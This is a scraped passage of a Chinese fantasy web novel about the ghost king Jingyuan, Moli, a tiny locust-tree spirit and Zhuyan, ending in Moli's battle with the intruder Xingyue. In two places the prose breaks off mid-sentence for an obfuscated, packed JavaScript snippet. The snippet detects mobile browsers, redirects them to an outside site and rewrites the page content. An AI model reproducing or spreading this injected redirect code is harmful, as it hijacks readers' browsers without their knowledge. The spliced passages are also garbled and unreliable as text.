被气得直接伸出手,双指捏着小小槐鬼那一头不断飘向上空的发丝,往自己跟前一提,故意露出一脸凶相,恐吓威胁着它—— “你小子,居然变坏了!还学会了咬人!你咬人就算了,居然敢咬我!除了我家陌陌,你是第二个咬我的人!不!咬鬼的妖!” 被净渊掐捏着发丝的小小槐鬼,方糖大小的身体根本就靠近不了净渊半分,可依旧不断挣扎着,像一只愤怒的小兽,不仅对他做出一幅拳打脚踢的模样,还对他龇牙咧嘴着。 “欸!我一把屎一把尿的养你喂你,这恩公情谊,我不求你以身相许卖给我九幽当鬼仆!你还敢龇我!可恶!” 净渊一边骂骂咧咧骂着,一边越想越生气,伸出另外一只手,拇指与食指打勾成圈,放到嘴边哈了哈气后,朝着还不死心,一直在疯狂挣扎的小东西那圆滚滚的小.屁.屁.上用力弹了一下。 被莫名其妙‘揍’了的小小槐鬼,突然哇的一声大哭起来。 一旁的陌离,实在是看不下去了净渊这欺负妖的模样,干脆伸手,把小小槐鬼从他手上抢夺了过来。 小小槐鬼像个受尽万般委屈,却哭诉无门的小娃娃一样,继续哇哇大哭着。 陌离只好用哄小孩的套路一样,变出很多稀奇古怪又无比珍贵的小玩具,想要哄它。 谁知,小东西根本就不吃他这一套。 被陌离从净渊的‘魔爪’中解救出来的小小槐鬼,被他轻手轻脚地放在桌上。 小小槐鬼正躺在桌面上,不停来回打着滚撒泼,像锅煎鸡蛋一样,翻来翻去,哭闹个没完没了。 小东西从头到脚都写满了怨气与恼怒,明明是在闹着脾气,却让人觉得格外可爱,引得陌离不由轻笑出声。 果然! 当你足够弱小的时候,连愤怒在别人眼里,都是萌哒哒的可爱... 陌离弯下身子,语气放得很轻很轻,生怕吓到它:“你乖乖的,别哭了,我现在就带你,去朱厌那里,可好?” ‘朱厌’的名字一出,上一秒还在嚎啕大哭的小东西,堪称变脸大王,直接停下了哭声,也停下了来回打滚撒泼。 蹭的一声,小小槐鬼像一尾打挺的小鲤鱼,小短腿扑腾一下,整个人慢吞吞坐了起来。 小身子哭得一抽一抽得不停,那一双装满豆大眼泪的眼,带着一抹诡异的呆滞,望着陌离,小东西颇为委屈地冲陌离喊了一声:“厌...” “嗯,我知道呢。”它这幅小孩心性惹得陌离格外疼惜,连看着它的青眸里都染上了温和,“你别哭了,我就带你去见朱厌。我也会让花嫫,去帮朱厌就诊看病的,别担心。” “花嫫,是跟着我从隐族来到九幽的,是很厉害的医师,你别担心了。”说完,陌离还很温柔摸了摸它的小脑袋。 净渊一瞧,那一抹灵白的眉下鬼纹挑得特别高,满脸满眼都写满了‘超不乐意’四个大字! 净渊暗自咬牙切齿着,他家陌陌,何时如此哄过他?!凭什么哄这个跟一块糖大小的小屁妖?! 可恶!太可恶了!!这一对该死的大荒夫夫!!! 小小槐鬼一听,呆呆望着陌离,像是在努力思考着他方才说的所有话。 伸出小肥手,将自己的眼泪擦了擦后,在原地又发呆了足足好一会,才后知后觉起身,又像是想到了什么,脸上露出一个开心的表情。 小小槐鬼扒拉着小短腿,像一颗加速前进的花生米,朝坐在陌离一旁的净渊走去,狠狠踢了净渊放在桌上的手指一脚! 方糖大小的小东西...能有多大的力气?! 指腹像是被花生撞了一下的净渊,强压着暴跳的额角,唇角不受控地抽搐着扯了扯一个无语的弧度... 干完了光明正大的坏事,踢了鬼王一小脚,撒腿就跑向陌离的小小槐鬼,跑到一半又重新折了回去,朝着净渊,吐了吐挑衅的小舌头,最后还很不客气地又朝他吐了一口小口水! 小小槐鬼超级聪明! 赶在净渊新一轮发火前,竭尽全力跑向陌离,最后一蹦一跳的,顺着陌离的掌心,跳上他的手臂,最后落在了他肩膀上。 净渊眼角抽搐得更厉害,感觉自己的太阳穴正在暴跳不止。 他堂堂九幽鬼王,他的面子跟里子,都被这拇指大小的小东西,给光明正大侮辱了一遍!更重要的是,还是当着他家陌陌的面!! 士可杀,不可辱...如何杀,容他想一想... 净渊那双一直看盯着小小槐鬼的紫眸,眼神一会暗一会亮的,让人颇是看不透。 谁知道,被他盯着看的小小槐鬼,一点都不怕他,反而朝他挺直了胸脯,一脸傲娇地挑衅着净渊。 小小槐鬼实在是太聪明了! 经过方才一番暗自观察,它一下子就察觉到,陌离才是震慑净渊的关键人物。 也就是说,只要陌离在,只要陌离护着它,净渊就不敢拿它做文章,更不会重新勒令它必须每日都回到槐树之根里,四舍五入下,就是它跟朱厌见面的时间又多了! 陌离看着大眼对小眼,正闹个不停的两人,有些无奈:“净渊,你别老这么凶他,他好歹也是大荒一界之主。” 陌离此话一出,小小槐鬼本来就傲娇得快撅上天的小嘴,撅得更高了!就只差用自己两个小鼻孔,对着在暗自生着闷气的净渊。 果然,背靠大山,就是一个字,爽!两个字,超爽!!三个字,爽爆了!!! 小小槐鬼坐在陌离的肩上,刚刚跑累的它,此刻连动都不想动,但又必须动,只好偷偷挪动着自己的小.屁.屁,朝着陌离的耳边靠近。 陌离察觉到它在自己肩上缓慢挪动着,不由转头望向它,温柔一说:“怎么了?” 小小槐鬼没有说话,只是小小的脸望着他,不断朝着他,一双小肥手来回比划着。 陌离一脸疑惑,下意识望向净渊。 只见方才还跟小东西吵个不停的人,此刻已经重新坐回位置,重新用起了膳食。 净渊喝了一口热汤,一脸悠哉:“他说,让你现在,就带它去朱厌那里。它想现在就见到朱厌,立刻,马上的那种。” 陌离青色的眼里满是震惊:“你...怎么...那么懂它啊...” “没办法,都是被它逼出来了。”净渊语重心长叹了一口长长的气,一脸悲痛,又故意挤了几滴眼泪出来,“陌陌,它老是欺负我,你要为我主持公道啊...” 就在净渊装模作样,露出一脸悲痛委屈的神情时,陌离已经带着坐在他肩上的小小槐鬼,从落鬼长宫走了出去。 绛紫的眼眸里,倒映着的青墨相间的身影,随之逐渐远去,紫眸里也涌起复杂的神色。 他为何要强行留下朱厌?不过是想要验证一些心中的猜想而已。 摇了摇手中那盏白瓷玉杯里的紫液甜酒,白玉澄透,紫液清醇,喝着它的人有些语重心长说了一句莫名其妙的话。 “但愿,你能给到我,真正的答案...离仑...” ... 回到普方大殿的朱厌,伸手揉了揉自己一直在痛的头。 眼前突然被一片黑暗挡住,在完全倒下前,朱厌手疾眼快地用手撑在一旁的柜子上。 不对劲,很不对劲... 缓了快半盏茶的时间才勉强缓过神的他,后背的里面衣,早被莫名其妙的冷汗,濡湿得有些透,粘腻贴在身上,让他感到颇为不适。 抬起的头,正巧撞入了眼前的梳妆铜镜。 看到铜镜内的脸,朱厌的眼里露出一股迷茫与不解。 铜镜内的自己,为何眉心有一枚先前都不曾见过的古怪妖印... 这印记,颇为眼熟,可朱厌却又想不起来在哪儿见过。 脑海里自动跳出‘古槐’两个字,却在下一秒就被朱厌自己否定掉。 不!这不是古槐一族的图徽。 ‘白猿’妖印? 更不对!这根本就不是他白猿本体的妖印。 朱厌忍不住伸手,触碰了一下自己眉心的妖印。 完好无损的指,却在触到妖印的瞬间,血肉被彻底腐蚀出了一个大洞,甚至可以看到里头的森森白骨。 都说十指连心,钻心刻骨的疼从敏感的指尖游向心脏。 很刺的疼,很不舒服。 就在朱厌正看着血肉模糊的手指出神时,房门被人敲响了。 明明很轻的一声,可却把正沉浸在思考中的朱厌,彻底吓了个激灵。 “朱厌,是我,陌离。” 朱厌敛起失态,赶紧用术法,将自己血淋淋的手给治好后,便走向了门口。 普方大殿的门,从里被朱厌,打开了。 站在门口的陌离,笑容温和,手里端了一碟五彩斑斓又卖相颇好的糕点。 只是碟子上,摆放得有序的糕点,左上角的位置,莫名其妙缺了一个突兀的小角,有些奇怪。 陌离自来熟地走了进去,边走边同身后的朱厌开心说着:“这是我新学的糕点,我给它取名为‘椰子酥’,还有山楂糖球,你试试看。” 陌离背着朱厌,手指碰了碰碟子上莫名其妙缺了一角的位置。 在碟子缺角那里,此刻,一块铜钱大小,薄饼厚度的椰子酥,正竖立在碟上。 这一块,是陌离额外根据小小槐鬼的小小体型,给它重新做的。 朱厌看不到小小槐鬼,自是也看不到被施了同等术法的‘独家定制版椰酥大饼’。 竖立起来的椰酥大饼,被人莫名其妙推了一下,向前倒了一会后反弹回原来位置。 吃得津津有味的,更是吃得满嘴周边都沾上了一大圈椰丝碎渣的小小槐鬼,捧着比它大一圈的椰酥大饼,抬起懵懂呆萌的大眼睛,与陌离对视了一下。 陌离朝它挤眉弄眼着:待会我放下碟子,便会唤来朱厌,你自己看准时机哈。 小小槐鬼一脸不解望着他,又看了看身后逐渐向他们走来的朱厌。 在看到朱厌的瞬间,小东西的大眼睛,肉眼可见地亮了一下。可是肚子正发出饥饿的肠鸣声,下一秒便又勾走了它的注意力。 其实,大荒真正的大妖,修炼到一定程度,便可不食不寝。 但是只剩下一抹残存精魄的小小槐鬼,早就不是昔日无人能敌的上古大妖,不是足以庇佑众妖的大荒之主,更不是那位令人闻风丧胆的大荒妖帝。 如今的小小槐鬼,会饿,会困,有着跟寻常凡人的生老病死,却比一般蝼蚁,还要脆弱不堪。 过去几万年里,永远只躲在槐树之根里面,不断循环着一生一死,年复一年,日复一日的沉睡。 被净渊意外唤醒的小东西,只靠一抹随时随地消失殆尽的残存精魄的,无法脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791250|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离槐树之根在外头呆得太久。 呆得越久,只会增加它精魄消散的机率,这也是为什么净渊要强制动用上百根玄天链锁着槐树之根的根本缘由。 此刻被净渊故意放出来的小小槐鬼,实在是太饿了。 饿极了的小小槐鬼,很难得没有去过多关注朱厌,而是沉默着又低头,默默啃起了手里的椰酥大饼。 外酥里嫩,香酥脆口的椰子酥,吃得小小槐鬼,格外满足,不由露出几分餮足之色。 装着点心的精致小碟子,被轻轻放在桌上,陌离转身,对上朱厌。 在看到他眉心那愈发显眼的妖印,他顿时有些失言:“你眉心的妖印,怎么又深了几分...” 又? 朱厌敏锐捕捉到这个字,眉眼不由一皱。 难道先前其他人,早就发现了他体内,在他的眉心位置,多了这么一枚诡异的妖印吗?可为何,没人告诉过他呢?大家,是在瞒着他什么吗? “你知道?”朱厌的眼里带了一抹探究的寒意,静静等着陌离的回复。 “不知道。”陌离摇了摇头,“这是我第二次见到你的这枚妖印,但比起你晕倒前浮现出来时,深色了许多,连带着上头的裂纹,也多了一道...” “裂纹?”朱厌心里的疑惑又多了一层。 有裂纹吗? 为什么他看不到? 他只看到了自己眉心,有一枚图腾诡异的幽蓝妖印。 “嗯。”陌离有意岔开话题,坐了下来,给他挑了一枚金黄色的椰子酥,“我看你午时并无多膳,甜甜的东西,有助于开心。” 朱厌本想多问,但自己都理不清楚弄不明白的问题,局外人的他人,又怎能知悉呢? 心里头估摸着,问再多也讨不到自己想要的答案,朱厌便也不做过多深究追问了。 陌离将装了椰子酥的小碟子,朝他跟前推了推,“快试试看,然后告诉我,味道如何。” 朱厌坐了下来,犹豫了一会,拿起椰子酥,轻轻咬了一口。 小小槐鬼看到朱厌坐下,立刻把手里吃到一半的椰酥大饼丢下,扒拉着小短腿跑到他跟前。 可是,下一秒,小肚子又咕噜咕噜响了起来。 小小槐鬼它又拔腿跑了回去,把丢在桌上那一半被它啃得乱七八糟的椰酥大饼,给磨磨唧唧的拖了过去。 坐在朱厌跟前,又一口一口吃了起来,甜甜的椰子酥让小东西心情颇好,完全忘记了先前被净渊欺负的坏心情。 像是忽然想起了什么,吃得正开心的小小槐鬼,像是被人按下暂停似的,小脸一愣,有些发呆起来。 坏了...欺负?净渊欺负它吗? 嗯?好像...明明是它欺负净渊才对...吧?! 暂停结束,思考结束,想不明白其中弯弯绕绕的小小槐鬼,继续啃着自己的专属椰酥大饼。 椰香在口中蔓延而开,微甜而不腻,清香而可口,入口即化,让人赞不绝口。 很好吃,很香甜,确实是让他的心情,好像好了那么一点。 朱厌又咬了一口,眼中满是被陌离的厨艺的赞赏:“椰香四溢,皮薄厚馅,入口即化,很好吃。” “真的吗?”陌离一听,水青色的眼里蓄满笑意,有些不好意思挠了挠头,“我学了很久,想着以后做给长宁吃的...” ‘长宁’的名字一出,正新咬了一口椰子酥的朱厌骤然一顿,连带着站在他跟前吃得正欢的小小槐鬼,都双双抬起了头,看向了陌离。 陌离突然有些伤感起来:“对了。你好像没见过长宁吧...长宁,是我跟净渊的孩子。可是,几万年前,长宁就一直昏睡不醒,从来都没有苏醒过,也没有长大过...” 暗红浅瞳里闪过一抹震惊,脑海里一闪而过很模糊又奇怪的两道咿咿呀呀的小身影。 “抱歉。” 朱厌也不明白,自己为何说这句话,但他就是很奇怪共情到陌离的悲伤。 心里头闷闷的,像被压了一块沉重的石头,难受又酸胀。 他明明不是如此多愁善感的人,也不是沉默寡言之人,为何此刻到了嘴边的话,只剩下如此无力的两字呢? 陌离收起了自己的悲伤,强行露出一个笑,有些勉强,有些苦涩:“不聊这些不开心的事了。你若喜欢,我晚些再多做些,给你送过来。可好?” 朱厌张了张的嘴,又重新合上。 他本想拒了,但又转念一想,也许,让陌离做些他自己开心的事情,能够消散几分他的难受与悲伤,从而又改口一回,“好。” 朱厌很明显看到,上一秒还有些黯淡无光的青眸里,眼里深处像燃起了一小团火焰,熠熠生辉又无比耀眼。 很好看,很抢眼。 “那你先休息,我先走了。”陌离起身,又扭头,很认真同朱厌吩咐着,“对了。你若是感到身体不舒服,可让鬼仆去唤花嫫或者其他鬼医。花嫫是我隐族很厉害的隐医,就是性格...有些...呃...让人捉摸不透...” 走在他身后送着他的朱厌,一边咬了一口椰子酥,一边像个认真听着长辈远行前万分叮嘱的孩童一般,睁着大大的眼睛,嘴里塞得鼓鼓的,像只藏食的小仓鼠,很认真地点了点头。 陌离一转头,就看到小小槐鬼坐在朱厌肩上,一大一小,脸上表情和吃东西的动作都如出一辙,大的漂亮,小的可爱,萌得他心头软软的,感觉再看多一秒,就要流鼻血了。 “可爱死了。”陌离小声嘀咕着。 “什么?”朱厌有些走神,没认真听到他的话。 陌离实在是忍不住了,干脆直接上手,戳了戳朱厌因吃着椰子酥而塞得鼓鼓的小脸蛋,“我说,你别送了,好好休息,晚上我带你去九幽逛一逛。” 朱厌被这猝及不防的亲密举动,搅得有些无措,只是睁着一双无辜大眼睛,站在原地,盯着陌离远去的身影。 谁知道,坐在朱厌肩上,上一秒还津津有味吃着陌离给它专门定制做的椰酥大饼的小小槐鬼,呆滞的小脸在彻底缓过神后,有些生气地将手上的椰子酥放在朱厌肩上,伸出又短又肥的小脚丫子,狠狠一踢。 被踢飞的椰子酥掉落在地,不知踪影。 一点都不觉得拿人手短吃人嘴软的小小槐鬼,生气地对被它不知道踢到哪里的椰酥大饼,用着一口小奶音,委屈地怒吼着:“厌!” 它就知道,能跟净渊睡一块的鬼,能是什么好鬼?! 这诱骗它的香甜椰子酥,虽然好吃,那又怎样!就是蛊惑人心的糖衣炮弹! 55.长枪神弓(三更) 坐在朱厌肩上,被净渊施了里三层外三层隐身术的小小槐鬼,正抱着自己的小手手,挂在胸前,一脸不开心,暗自生着闷气。 可朱厌没办法看得到它,自然也就不知道小东西在闹着脾气。 关了门,进了屋,朱厌重新坐下,盯着眼前的糕点碟子,看了又看。 坐在朱厌肩上的小小槐鬼,突然颤颤巍巍站起身来,像是滑木楼梯子一样,从朱厌的肩上,顺着他的衣袖,滑到了桌面。 衣袖到桌面,滑得太猛了,下得太快了,又摔又磨的,把小小槐鬼尊贵的小.屁.屁,不仅磨得火辣辣的,还摔得疼死了,它感觉要开花了! 小东西揉着自己发疼的小臀,一脸愤怒,颇为不满,一手指着装着椰子酥的点心碟子,一脸诚恳又真挚,同朱厌骂骂咧咧控诉着,小奶音一句又一句,语调更是一声高过一声地没完没了,“厌厌!厌厌!厌厌!” 朱厌自是不可能听到它的不满与抗议,依旧看着那点心碟子出神。 朱厌伸出手,他的手越过小小槐鬼的头上。 上一秒才吃了陌离椰子酥的它,此刻简直是翻脸不认人了! 小东西一蹦一跳的,意图抓住朱厌因动作而飘动着的衣袖,不许他再碰这臭九幽夫夫所谓的‘糖衣炮弹’。 朱厌越过小小槐鬼,自顾地从碟子上,取过一颗红.艳.诱.人的山楂糖球。 他没有吃,只是那双暗红浅瞳,盯着那糖球,微微出神。 ... “喏,给你。” “你买的?为何给我这个?” “赔礼。惹你生气后,我给你道歉的礼物。” 少年歪着头,有些意味深长看着男人:“你哪儿学的小把戏?我怎么不知道呢?” 男人脸色红了几分,带着几分不好意思的羞涩,连说的话都结巴起来“...跟...跟凡人学的...” 少年噗嗤一笑:“那你哪来的钱?” 男人挺直了腰板,却不敢看少年一分,只是嘴硬一说,“我自有法子。” ... “离仑...”盯着手中的山楂糖球,朱厌喃喃自语起来,“我们一定会再见的,对吗...” 很奇怪。 这一次,坐在他跟前,睁着大眼睛盯着朱厌看的小小槐鬼,在听到‘离仑’两个字,却沉默了。 小小槐鬼并没有像之前一样,哪怕朱厌根本听不到它,它依旧会自顾自地回应着朱厌。 ‘再见’这个词语,像是戳到了小小槐鬼的伤心之处。 小小槐鬼一脸呆呆的望着朱厌,先前那个同净渊打着,同陌离闹着的活泼小东西,在此刻,好似根本就不曾存在过,瞬间消失得一干二净。 小小槐鬼没有回应朱厌的问题,只是默默背过自己的小身子,像是有些委屈,又有些无奈。 小东西颤颤巍巍站起了身,扒拉着小短腿,跑到装了桌上放着椰子酥的糕点碟子前,伸出自己又短又肥的小手指,在不知道比它大上多少倍的椰子酥前,挑挑拣拣了好一会,最后才选了一个它自己觉得最好看最漂亮最完美的椰子酥,往上面狠狠戳了一个小洞洞,拔出小手指后又戳了一个,像是泄愤自己的难过一样,一直重复着这个动作。 沉浸在自己思考中的朱厌,也丝毫没有留意到,一旁碟子上,一块香甜的椰子酥四周上,正莫名其妙多了一个又一个跟牙签洞儿一样大小的小孔孔... ... 鬼愁小阁,站在外头的陌离,脸色十分难看。 刚踏出普方大殿,陌离就感觉心口传来一阵又一阵不适。 准确来说,这股不适,是在落鬼长宫里,在饭桌上,在他看到朱厌眉心那枚幽蓝妖印的那一瞬间开始的。 这股不适,密密麻麻,断断续续,让他颇为不适。 捂住心口的手,离开了心口,陌离垂眸一看,映入眼中的掌心之上,却隐约带了几缕若隐若现的黑气。 水青色的眼骤然一缩,有些震惊,又有些不敢相信,怎么提前复发了... 骤然刮起一阵诡异的大风,吹得小阁庭院那一棵参天的欲灵幽树上的黑叶子,摇摇晃晃的。 陌离眼神一厉,掌心一收,将手心萦绕不散的黑气,给彻底隐了去。 下一秒,一名长相凶神恶煞,一身肌肉鼓鼓囊囊的,身高约莫三米的人,从天而降,精准降落在陌离跟前一米的位置。 尘土飞扬,地动树晃,茂盛的鬼树叶子窸窸簌簌落了一地。 “殿下。”来人嗓音浑厚,单膝跪地,合十朝拜,十分恭敬对陌离一说,“有人强闯九幽。” 陌离一听,眉心一皱,脸涌不悦:“净渊呢?” “属下找不到鬼主。” 单膝跪地的伞奴,一双漆黑得看不见一丝眼白的乌眼,从出现在鬼愁小阁的那刻起,就不曾离开过陌离的身上一秒。 “你留下,我去去便回,无需通告。”陌离只丢下这句话后,便化作一股青烟,消失在小阁了。 与此同时的大荒,槐江谷小居的槐谷小室内,离仑与朱厌的寝室处,闯入了一位不速之客。 来人面若寒霜,金额神印,金冠之下,一头及腰长发,漂亮的流苏白玉长链缀在身后,随着他的转身而微晃着。衣袂飘飘的一身,一举一动之间难掩他的贵气。 白里金绣,雪袍杏衫,将本就气质超然的人,衬得更似不染红尘的仙人。 微微敞开的衣衫前襟,隐约可见里头露出的肌肉线条,若隐若现,紧实又性感。 男人那双冷到容不下任何情绪的眼,环顾了屋内四周一眼,并没有看到自己想看到的熟悉身影。 倒是桌上那杯早已冷却多时的茶,引起了他的注意。 男人走了过去,鬼使神差地拿起那杯冷茶,有些失神望着杯口残留的痕迹。 微微抬眸的眼,不自觉连带着眼尾的一抹金纹都上挑了几分,男人寻思了半分后,抬手朝空中轻轻一挥。 只见半空之中,一团金雾由无到有,逐渐凝聚成一面云镜。 镜中所呈之像,竟是槐江谷小居,也是槐谷小室内发生的一切。 云镜中的人,身前半空浮着卷轴。 看到熟悉的身影,听到熟悉的声音,倒是让这个冷若冰霜的男人脸上那无情的神色,柔和几分。 但接来听到的对话,却让他不由蹙眉起来—— “师傅,这里位置的花纹,如此雕刻,手法可正确?” “小郎君这手法,可比老头子我啊,细腻多了,看得老夫都想收你为徒了。” “小郎君,这块长生锁,是要送给何人呢?” “送给我家崽崽的。” 嘭的一声响,男人手里拿着的杯,被他单手捏爆,冰凉的碎片裹着温热的鲜血,冷却的茶水又混了猩红的血,顺着他手上暴起的条条青筋,沿臂而下,弄脏了那一身无暇的雪袍杏衫。 男人一向面无表情的脸上,像是被人无情撕开虚伪面具的一角,露出罕见的表情,阴狠,森冽,让人不寒而栗。 “冥顽不灵...”男人灵白眼眸中泛着清冷的幽光,沉声一道,“为了一个魂飞魄散的妖,落得如此不堪...死了就死了,还如此念念不忘...” 空中的云镜,又传来新一轮的对话。 “师傅,今日先到这了,麻烦你了,我得回去了。不然家里头,该有人着急了!” “家里头的人,该是小郎君的心爱之人吧?” 镜中镜的少年,有些羞涩一回:“嗯。” 这个‘嗯’字一出,原本就冷着脸的男人,脸更冷更臭了! 真是...令他无比讨厌的对话。 男人一气之下,指尖一收,空中浮着的云镜彻底爆开,散成烟雾而去。 “本就该死的妖,死一次,是死。”只瞧他忽而冷笑出声,一字一顿道,“死一百次,也是死...” 指尖一挑,一团金光落地,化出一个槐精。 只是细看之下,这忽然出现的槐精,手持一封密封无损的信,眼神空洞,神情呆滞,站在原地一动不动,诡异得很。 “去吧。” 收到命令的槐精,没有说话,只是朝男人恭敬鞠了一躬后,就跑了出去。 “算算时间,也该到了吧...”男人又恢复到平日里那久居高位上位者的模样,眸中毫无一丝波澜,“你想救魂飞魄散的他,我偏不...让你偿愿...” 男人的声音,变得更冷了,冷到如同一口死气沉沉的枯井寒潭。 九幽鬼域入口的鬼幽山下,鬼火闪烁,野鬼悲鸣,鬼雾弥绕,阴风阵阵,入骨如刀。 一道七彩光辉从天而降,照亮了阴森的鬼幽山山脚。 七彩光辉四射的瞬间,将藏在鬼幽山山脚附近的低等鬼雾统统都杀了干净,只留下飘荡在空中那一声又一声声绵长的哀嚎。 “好吵。”冷得没有一丝情绪的声儿,夹杂了一抹微乎其微的厌恶与烦躁。 来人抬眸,那双浅淡得宛若寒冬薄雾的眼眸,正冷着眼,望着悬在鬼域高空的那一轮耀眼的紫月,漂亮又鲜艳的红唇,忽而开口:“差不多了吧...” 一道宛若山泉清凛的嗓音,穿破云空:“不请自来的客人,本尊倒是见过一个。不过,那人可比你礼貌多了...” 一道蓝墨相间的人影,从一团凝聚在半空的青烟之中,提着一杆长枪,缓缓飘出,像高高在上的仙子,无意折落在尘凡。 “来者何人?好大的胆子,不仅闯我九幽鬼域,还胆敢杀我九幽的子民。” 修长挺拔的身躯,藏裹在精致华丽的墨裳下,宛若暗夜鸣啼的黑鸦,又妖又邪;水蓝幽亮的外袍,如同一尾美艳抢眼的鲛人鳞尾,又仙又艳,让人只瞧一眼,便再也不愿挪开半分。 手持苍穹长枪,骤然出现的陌离,缓缓落地,青烟消散,露出更为清晰的他。 空气里传来一股又一股强烈的仙气,让陌离颇感到不适,连带着先前被朱厌眉心妖印牵扯得隐隐作痛的心口,也被这莫名其妙的仙气勾得更痛了。 那只握着苍穹长枪的左手,不受控地紧了紧。 好强大的气息。 陌离不由眯了眯眼,水青的瞳被又一股隐没的仙气震得骤然一缩。 鬼幽山的入口,怪石嶙峋,绝壁重重。 水青色的眼眸越过无数怪石,朝一抹略微平坦的山位望去。 站在山位上的人,身姿婀娜,摇曳的墨夜长裙上,点缀着漫天星辰,裙尾渲染着绚烂极光,像一尾漂亮的斗鱼。 听到身后的动静,原本背对着陌离的人,终于微微斜身。 那双清冷得不染一丝俗尘的眼,带了一抹睥睨众生的不屑,不自觉往下瞥了陌离一眼。 很好。 猎物,上钩了。 “陌离,好久不见。”星月缓缓转身,眼里带着一抹无法深究的暗色,话语言辞惋惜,可说话的语气却颇为冷情,“有点可惜,你又活过来了。” 真是一句矛盾又没礼貌的问候。 “是你。”在来人转过身,看到那张脸的瞬间,陌离脸上闪过一抹猝及不防的震惊,“青叶!” “不!”陌离的喉中溢出一抹痛苦之色,在一秒否定之中,灵动的青眸比他这个主人更先换上浓郁的恨意,咬牙切齿地唤了对面一声,“是,星月——” 陌离的眼神,不受控地变得阴鸷起来,藏不住的杀意充斥着他全身,连带着嘴角都露出了罕见的疯意,“是啊,我又活过来了,你很失望吧?” “星月...一千年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791251|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见了..那就让本尊看看,这千年,你到底强大了...多少...” 对面的星月,脸上依旧毫无表情,只是在听到陌离说的‘一千年’时,那双浅瞳里动了一下,滑过一抹晦暗。 “错了。”星月从平坦的山位上飘落在地,与陌离面对面,冷冷说道,“不是一千年,是几万年。” 话语刚落,星月十指相绕,万千星辰凝聚在手,挥袖一甩,无数七彩星辰化作一把锋利的刀刃,从她手中脱离,狠狠冲着对面的陌离,精准击中—— 陌离眉眼一厉,嘴角微勾,目露亢奋之色。 左手持握着的苍穹长枪,被他随意伸脚一踢,在跟前空中飞了一圈后像是有灵识般,又重新飞到他手里,发出震耳欲聋的嗡鸣声,苍穹长枪也成功顺势从左位被他换到右位。 上百斤重的苍穹长枪,拎在陌离手里,就跟普通青竹一样,毫不费劲。 陌离伸手,一握一抡,一上一下,起伏之间的苍穹长枪尖头,汇出无数股水青波浪,在星月的七彩星辰之刃到达之间,陌离先行一步用苍穹长枪打散了它。 青墨色的身影手持长枪,朝着对面人快速飞去,快到只在空中留下一抹残影。 原本还一脸不屑之色的星月,脸色骤变,漂亮的浅瞳里瞬间蓄满警惕,右手火速结印,万千星辰骤现于掌,随着她的手心,从胸前滑到耳旁,只在身前半空留下一波五彩斑斓的漂亮星尾。 紧接着,一张弓身精致,色泽耀眼的京墨长弓,缓缓在星月的右手中浮现。 在陌离提着苍穹长枪朝她飞来,尖锐的长枪即将刺上她之前,星月将手心的星月神弓,对准陌离所在位置,用力地挥袖一抛—— 哐的一声巨响,被抛出的星月神弓与被丢来的苍穹长枪,两把至强的上古兵器,交缠嘶鸣于半空,一时难分上下。 巨大的神力与隐力的双重冲击,引得鬼幽山附近,顿时飞沙走石,尘土飞扬。 陌离嘴角噙着一抹狠笑,不断收紧着自己的手,被控的苍穹长枪发出更加醇厚的嘶鸣,像是从遥遥远古传来的低吟唱颂,击得对面的星月开始处于下风。 正控制着苍穹长枪,想要彻底绞杀掉星月的长弓之时,一股密密麻麻的刺痛从跳动的胸腔下传来,疼得让陌离不慎一愣,连手都不自觉抖了一下。 就在这失神的一秒之间,星月的神弓瞬间由劣转优,下风夺位成上风。 星月见机,火速收回自己的神弓,引得对面控制着苍穹长枪的陌离,有些措手不及,后退了一下。 却又在下一秒,星月神弓被主人用力抛向陌离,毫不客气朝他袭去! 强忍住心口不适的陌离下意识举枪一挡,神弓带来巨大的神力冲击,让他连连后退了好几步,嘴角也不由流淌下一抹血渍。 被苍穹长枪的隐力挡得被迫飞向半空的星月神弓,弓身也发出了一声清脆的筝鸣声。 而早在神弓被挡飞之前,星月早已纵身一跃,像是早有预料般,朝着神弓的位置飞去。 握住星月神弓的星月,清冷的脸上依旧毫无表情,唯有浅瞳内来回涌动的光辉,透露着她此刻被棋逢对手勾起的亢奋与欣赏。 星月纵身跃于半空,一个干脆利落的翻身,快准狠地一把抓住准备飞走的长弓,拉弓搭箭,万千星辰化作一支漂亮的七彩光箭。 依稀可见,这支光箭的箭头,正涌动着一小团诡异的银光。下一秒,便双双朝着陌离的心脏射去—— 光箭的速度实在是太快了!偷袭也来得太猝不及防! 陌离想拎起苍穹长枪抵挡攻击,却还是慢了一步。 苍穹长枪被星月神弓隐藏的巨大神力,冲击得直接断成了两截。那一支汇聚了万千星辰之力的七彩光箭,精准地射进了陌离的心脏,直接穿膛而过... 可是,星月还是太低估陌离的能耐与实力了! 被七彩光箭穿膛而过的陌离,顺势一个转身,断成两截的苍穹长枪在他的控制下,尖锐的枪头再次涌上无数水青波浪,在星月从空落地的那一瞬间,水青波浪化作铺天盖地的万千根青针,密密麻麻朝着星月飞去—— 难躲万针的星月,尽管竭力躲避,还是被好几根青针刺入体内,被陌离逼得频频后退。 星月万年不变的脸上有了一丝开裂,是愤怒。 她愤怒地抬头,看向站在她对面不远处,从方才就一直背对着她的人。 飞沙走石的四周,逐渐平静下来。 背对着星月的陌离,喉间一热,心口一痛,瞬间吐出一大口血。 洒落在地的鲜血,血的颜色不是正常的鲜红,而是带了微微发黑,甚至还涌起淡淡的黑气。 破了一个洞的心口,自是很疼。 